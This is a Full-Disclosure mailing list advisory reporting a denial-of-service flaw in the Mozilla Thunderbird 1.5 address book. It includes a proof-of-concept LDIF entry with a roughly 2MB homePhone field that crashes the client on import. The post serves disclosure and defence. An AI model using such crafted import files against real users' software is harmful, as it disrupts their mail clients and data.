Affected: Mozila Thunderbird 1.5 /possibly other versions/ Mozila Thunderbird 1.5 address book allows fields of unlimited size in the address book which leads to a DoS if you import such ldif file
POC: create a file.ldif and insert following then import it in address book: n: cn=Test POC by [EMAIL PROTECTED],[EMAIL PROTECTED] objectclass: top objectclass: person objectclass: organizationalPerson objectclass: inetOrgPerson objectclass: mozillaAbPersonAlpha givenName: Test sn: POC by [EMAIL PROTECTED] cn: POC by [EMAIL PROTECTED] mozillaNickname: DrFrancky mail: [EMAIL PROTECTED] nsAIMid: DrFrancky POC modifytimestamp: 0Z homePhone: aaaaaaaaaaaaaaa[2MB of 'a'] Credits: DrFrancky [EMAIL PROTECTED]
signature.asc
Description: OpenPGP digital signature
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
